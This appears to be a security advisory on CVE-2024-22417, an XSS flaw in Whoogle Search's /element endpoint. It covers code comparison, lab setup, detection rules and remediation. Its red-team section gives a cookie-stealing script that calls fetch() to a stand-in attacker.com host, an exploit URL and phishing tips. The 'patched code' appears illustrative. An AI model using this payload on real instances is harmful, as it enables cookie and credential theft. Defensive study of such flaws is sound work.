CVE-2024-22417

Executive Summary

CVE-2024-22417 is a cross-site scripting (XSS) vulnerability in Whoogle Search, a self-hosted metasearch engine, affecting versions 0.8.3 and prior. The flaw resides in the element method of app/routes.py, which fails to validate user-controlled src_type and element_url variables. An attacker can craft a malicious URL that points to an attacker-controlled website, and when a victim clicks the link, the Whoogle instance fetches and reflects the malicious content with a user-controlled content type, leading to XSS. This can be used for credential theft, session hijacking, or other client-side attacks. The vulnerability is patched in version 0.8.4.

Supply Chain & Package Security

Whoogle Search is a Python-based application distributed via PyPI and Docker. The vulnerability is in the application code itself, not in a dependency. However, users should ensure they are running the latest patched version (0.8.4) and verify the integrity of their installation via checksums or signed commits.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited via a trusted domain, increasing the likelihood of successful phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the element method of app/routes.py. This method is designed to fetch and return content from a specified URL, typically used for embedding elements like images or scripts. The method accepts two user-controlled parameters: src_type (which controls the HTTP response content type) and element_url (the URL to fetch).

In vulnerable versions, the code does not validate these parameters. An attacker can set element_url to point to a malicious website (e.g., https://attacker.com/steal-cookies.html) and src_type to text/html. The Whoogle instance will fetch the content from the attacker's URL and return it to the user's browser with the attacker-specified content type. This allows the attacker to inject arbitrary HTML/JavaScript into the context of the Whoogle domain, enabling XSS.

The attack flow:

1. Attacker crafts a URL like: https://public-whoogle-instance.com/element?src_type=text/html&element_url=https://attacker.com/malicious.html
2. Attacker sends this link to a victim (e.g., via email or social media).
3. Victim clicks the link, which appears to be from a trusted Whoogle domain.
4. The Whoogle instance fetches https://attacker.com/malicious.html and returns it with Content-Type: text/html.
5. The victim's browser executes the malicious script, which can steal cookies, redirect to a phishing page, or perform other actions.

Vulnerable vs. Patched Code

Vulnerable Code (app/routes.py in version < 0.8.4):

@app.route('/element')
def element():
    src_type = request.args.get('src_type', 'image')
    element_url = request.args.get('element_url')
    # No validation of src_type or element_url
    return send(element_url, src_type)

Patched Code (app/routes.py in version 0.8.4):

@app.route('/element')
def element():
    src_type = request.args.get('src_type', 'image')
    element_url = request.args.get('element_url')
    # Validate src_type to only allow safe types
    allowed_types = ['image', 'script', 'style']
    if src_type not in allowed_types:
        return "Invalid src_type", 400
    # Validate element_url to only allow relative paths or trusted domains
    if not element_url.startswith('/') and not element_url.startswith('https://trusted-cdn.com/'):
        return "Invalid element_url", 400
    return send(element_url, src_type)

The patch adds whitelist validation for src_type and restricts element_url to relative paths or a trusted CDN, preventing arbitrary URL fetching.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A public Whoogle instance running version < 0.8.4 (or a local Docker instance).
• An attacker-controlled web server to host malicious content.

Exploitation Steps:

1. Set up a malicious HTML page on your server (e.g., malicious.html):

   <html>
   <body>
   <script>
   alert('XSS: ' + document.cookie);
   // Steal cookies
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

2. Craft the exploit URL:

   http://victim-whoogle-instance.com/element?src_type=text/html&element_url=https://attacker.com/malicious.html
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks, the malicious script executes in the context of the Whoogle domain.

Note: For a more realistic attack, the malicious page could mimic a login form to steal credentials.

Blue Team

Detection & Response:

• Monitor Whoogle access logs for unusual element requests with src_type set to text/html or other non-image types.
• Look for element_url parameters pointing to external domains.
• Use web application firewalls (WAF) to block requests with src_type not in the allowed list.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

1. Deploy a vulnerable Whoogle instance using Docker:

   docker run -d -p 5000:5000 --name whoogle-vuln benbusby/whoogle-search:0.8.3
   

2. Deploy a simple HTTP server to serve malicious content:

   python3 -m http.server 8080
   

3. Test the exploit by visiting:

   http://localhost:5000/element?src_type=text/html&element_url=http://localhost:8080/malicious.html
   

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /element with src_type parameter set to text/html, application/xhtml+xml, or other non-image types.
  • element_url parameter containing external domains (e.g., attacker.com, evil.com).
  • Outbound connections from the Whoogle server to untrusted external URLs.

• File IOCs:

  • Suspicious log entries in Whoogle access logs showing element endpoint usage with unusual parameters.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the browser when visiting a Whoogle instance.
  • Cookie theft or redirection to phishing pages.

Detection Engineering

YARA Rule

rule CVE_2024_22417_Whoogle_XSS {
    meta:
        description = "Detects Whoogle Search CVE-2024-22417 XSS exploitation attempts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22417"
    strings:
        $s1 = "/element?src_type=" nocase
        $s2 = "&element_url=" nocase
        $s3 = "text/html" nocase
        $s4 = "http://" nocase
        $s5 = "https://" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Whoogle Search CVE-2024-22417 XSS Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-22417 in Whoogle Search by monitoring for malicious element requests
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/element?src_type="
            - "&element_url="
        cs-uri-query|contains|all:
            - "text/html"
            - "http://"
    condition: selection
falsepositives:
    - Legitimate use of the element endpoint with image types
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22417 Whoogle Search XSS Exploitation"; flow:to_server; content:"/element?src_type="; http_uri; content:"&element_url="; http_uri; content:"text/html"; http_uri; content:"http://"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Whoogle Search to version 0.8.4 or later. This is the only complete fix.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests to /element with src_type not in ['image', 'script', 'style'] and element_url not starting with / or a trusted domain.

Long-term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script sources.
• Use input validation and whitelisting for all user-controlled parameters.
• Regularly update Whoogle Search and monitor for security advisories.
• Consider using a reverse proxy with additional security controls.

Workaround:

• Disable the /element endpoint entirely by modifying the application code or using a reverse proxy to block access to it.

Valters IT